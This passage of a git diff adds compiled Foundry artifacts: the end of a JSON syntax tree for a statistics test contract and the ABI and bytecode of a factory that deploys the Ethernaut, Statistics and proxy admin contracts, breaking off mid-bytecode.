Statistics"}},"id":65833,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3396:24:152","memberName":"getNoOfInstancesForLevel","nodeType":"MemberAccess","referencedDeclaration":56383,"src":"3390:30:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65835,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3390:47:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"32","id":65836,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3439:1:152","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":65831,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3381:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65837,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3381:60:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65838,"nodeType":"ExpressionStatement","src":"3381:60:152"},{"expression":{"arguments":[{"arguments":[{"id":65842,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"3491:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65840,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3460:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65841,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3466:24:152","memberName":"getNoOfInstancesForLevel","nodeType":"MemberAccess","referencedDeclaration":56383,"src":"3460:30:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65843,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3460:47:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"32","id":65844,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3509:1:152","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":65839,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3451:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3451:60:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65846,"nodeType":"ExpressionStatement","src":"3451:60:152"},{"expression":{"arguments":[{"arguments":[{"id":65850,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65510,"src":"3561:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65848,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3530:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65849,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3536:24:152","memberName":"getNoOfInstancesForLevel","nodeType":"MemberAccess","referencedDeclaration":56383,"src":"3530:30:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65851,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3530:47:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"31","id":65852,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3579:1:152","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":65847,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3521:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65853,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3521:60:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65854,"nodeType":"ExpressionStatement","src":"3521:60:152"},{"expression":{"arguments":[{"arguments":[{"id":65858,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"3643:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65856,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3601:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65857,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3607:35:152","memberName":"getNoOfCompletedSubmissionsForLevel","nodeType":"MemberAccess","referencedDeclaration":56399,"src":"3601:41:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65859,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3601:58:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"32","id":65860,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3661:1:152","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":65855,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3592:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65861,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3592:71:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65862,"nodeType":"ExpressionStatement","src":"3592:71:152"},{"expression":{"arguments":[{"arguments":[{"id":65866,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"3724:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65864,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3682:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65865,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3688:35:152","memberName":"getNoOfCompletedSubmissionsForLevel","nodeType":"MemberAccess","referencedDeclaration":56399,"src":"3682:41:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65867,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3682:58:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"31","id":65868,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3742:1:152","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":65863,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3673:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65869,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3673:71:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65870,"nodeType":"ExpressionStatement","src":"3673:71:152"},{"expression":{"arguments":[{"arguments":[{"id":65874,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"3803:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65872,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3764:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65873,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3770:32:152","memberName":"getNoOfFailedSubmissionsForLevel","nodeType":"MemberAccess","referencedDeclaration":56367,"src":"3764:38:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65875,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3764:55:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"31","id":65876,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3821:1:152","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":65871,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3755:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65877,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3755:68:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65878,"nodeType":"ExpressionStatement","src":"3755:68:152"},{"expression":{"arguments":[{"arguments":[{"id":65882,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65510,"src":"3881:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65880,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3842:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65881,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3848:32:152","memberName":"getNoOfFailedSubmissionsForLevel","nodeType":"MemberAccess","referencedDeclaration":56367,"src":"3842:38:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":65883,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3842:55:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"31","id":65884,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3899:1:152","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"}],"id":65879,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3833:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65885,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3833:68:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65886,"nodeType":"ExpressionStatement","src":"3833:68:152"}]},"documentation":{"id":65696,"nodeType":"StructuredDocumentation","src":"2138:45:152","text":"@notice Checks states of multiple levels."},"functionSelector":"ef0e7d2f","implemented":true,"kind":"function","modifiers":[],"name":"testCreationMultipleLevels","nameLocation":"2197:26:152","parameters":{"id":65697,"nodeType":"ParameterList","parameters":[],"src":"2223:2:152"},"returnParameters":{"id":65698,"nodeType":"ParameterList","parameters":[],"src":"2233:0:152"},"scope":65889,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":65491,"name":"Test","nameLocations":["209:4:152"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"209:4:152"},"id":65492,"nodeType":"InheritanceSpecifier","src":"209:4:152"}],"canonicalName":"TestLevel","contractDependencies":[56450,66673],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[65889,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestLevel","nameLocation":"196:9:152","scope":65890,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":152} \ No newline at end of file diff --git a/contracts/out/LocalFactory.sol/Factory.json b/contracts/out/LocalFactory.sol/Factory.json new file mode 100644 index 000000000..9506ac91c --- /dev/null +++ b/contracts/out/LocalFactory.sol/Factory.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"ethernaut","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"view"},{"type":"function","name":"implementation","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract Statistics"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"proxyAdmin","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract ProxyAdmin"}],"stateMutability":"view"},{"type":"function","name":"proxyStats","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract ProxyStats"}],"stateMutability":"view"},{"type":"function","name":"registerLevel","inputs":[{"name":"_level","type":"address","internalType":"contract Level"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferContractsOwnership","inputs":[{"name":"_newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b50610019336101d6565b60405161002590610225565b604051809103905ff08015801561003e573d5f803e3d5ffd5b50600180546001600160a01b0319166001600160a01b039290921691909117905560405161006b90610232565b604051809103905ff080158015610084573d5f803e3d5ffd5b50600280546001600160a01b0319166001600160a01b03929092169190911790556040516100b19061023f565b604051809103905ff0801580156100ca573d5f803e3d5ffd5b50600380546001600160a01b0319166001600160a01b039283169081179091556002546001546040519293918216929116906101059061024c565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801561013e573d5f803e3d5ffd5b50600480546001600160a01b0319166001600160a01b03928316908117825560015460405163be117dfd60e01b8152928301919091529091169063be117dfd906024015f604051808303815f87803b158015610198575f80fd5b505af11580156101aa573d5f803e3d5ffd5b5050600454600380546001600160a01b0319166001600160a01b03909216919091179055506102599050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ae5806106db83390190565b6107a2806111c083390190565b611e7a8061196283390190565b610daa806137dc83390190565b610475806102665f395ff3fe608060405234801561000f575f80fd5b506004361061009f575f3560e01c8063715018a611610072578063a6f1e84011610058578063a6f1e84014610125578063a7e1acdf14610138578063f2fde38b1461014b575f80fd5b8063715018a61461010d5780638da5cb5b14610115575f80fd5b8063202023d4146100a35780633e47158c146100b85780635c60da1b146100e75780636adb97c8146100fa575b5f80fd5b6100b66100b136600461041d565b61015e565b005b6002546100cb906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6003546100cb906001600160a01b031681565b6004546100cb906001600160a01b031681565b6100b66101dc565b5f546001600160a01b03166100cb565b6100b661013336600461041d565b6101ef565b6001546100cb906001600160a01b031681565b6100b661015936600461041d565b6102b7565b610166610349565b6001546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b0383811660048301529091169063202023d4906024015f604051808303815f87803b1580156101c3575f80fd5b505af11580156101d5573d5f803e3d5ffd5b5050505050565b6101e4610349565b6101ed5f6103a2565b565b6101f7610349565b60015460405163f2fde38b60e01b81526001600160a01b0383811660048301529091169063f2fde38b906024015f604051808303815f87803b15801561023b575f80fd5b505af115801561024d573d5f803e3d5ffd5b505060025460405163f2fde38b60e01b81526001600160a01b038581166004830152909116925063f2fde38b91506024015f604051808303815f87803b158015610295575f80fd5b505af11580156102a7573d5f803e3d5ffd5b505050506102b4816102b7565b50565b6102bf610349565b6001600160a01b0381166103405760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102b4816103a2565b5f546001600160a01b031633146101ed5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610337565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146102b4575f80fd5b5f6020828403121561042d575f80fd5b813561043881610409565b939250505056fea2646970667358221220a77ae186952a9deada5759e118efd63ea86e82b9d657e8c6d34acecbaca51cf664736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107288061007a5f395ff3fe608060405260043610610079575f3560e01c80639623609d1161004c5780639623609d1461010957806399a88ec41461011c578063f2fde38b1461013b578063f3b7dead1461015a575f80fd5b8063204e1c7a1461007d578063715018a6146100b85780637eff275e146100ce5780638da5cb5b146100ed575b5f80fd5b348015610088575f80fd5b5061009c610097366004610525565b610179565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c3575f80fd5b506100cc61021d565b005b3480156100d9575f80fd5b506100cc6100e8366004610547565b610230565b3480156100f8575f80fd5b505f546001600160a01b031661009c565b6100cc6101173660046105ab565b6102ac565b348015610127575f80fd5b506100cc610136366004610547565b610330565b348015610146575f80fd5b506100cc610155366004610525565b61037f565b348015610165575f80fd5b5061009c610174366004610525565b610414565b5f805f836001600160a01b03166040516101b6907f5c60da1b00000000000000000000000000000000000000000000000000000000815260040190565b5f60405180830381855afa9150503d805f81146101ee576040519150601f19603f3d011682016040523d82523d5f602084013e6101f3565b606091505b509150915081610201575f80fd5b80806020019051810190610215919061067a565b949350505050565b610225610451565b61022e5f6104aa565b565b610238610451565b6040517f8f2839700000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690638f283970906024015b5f604051808303815f87803b158015610292575f80fd5b505af11580156102a4573d5f803e3d5ffd5b505050505050565b6102b4610451565b6040517f4f1ef2860000000000000000000000000000000000000000000000000000000081526001600160a01b03841690634f1ef2869034906102fd9086908690600401610695565b5f604051808303818588803b158015610314575f80fd5b505af1158015610326573d5f803e3d5ffd5b5050505050505050565b610338610451565b6040517f3659cfe60000000000000000000000000000000000000000000000000000000081526001600160a01b038281166004830152831690633659cfe69060240161027b565b610387610451565b6001600160a01b0381166104085760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610411816104aa565b50565b5f805f836001600160a01b03166040516101b6907ff851a44000000000000000000000000000000000000000000000000000000000815260040190565b5f546001600160a01b0316331461022e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103ff565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0381168114610411575f80fd5b5f60208284031215610535575f80fd5b813561054081610511565b9392505050565b5f8060408385031215610558575f80fd5b823561056381610511565b9150602083013561057381610511565b809150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f805f606084860312156105bd575f80fd5b83356105c881610511565b925060208401356105d881610511565b9150604084013567ffffffffffffffff808211156105f4575f80fd5b818601915086601f830112610607575f80fd5b8135818111156106195761061961057e565b604051601f8201601f19908116603f011681019083821181831017156106415761064161057e565b81604052828152896020848701011115610659575f80fd5b826020860160208301375f6020848301015280955050505050509250925092565b5f6020828403121561068a575f80fd5b815161054081610511565b6001600160a01b03831681525f60206040602084015283518060408501525f5b818110156106d1578581018301518582016060015282016106b5565b505f606082860101526060601f19601f83011685010192505050939250505056fea26469706673582212208303bb9a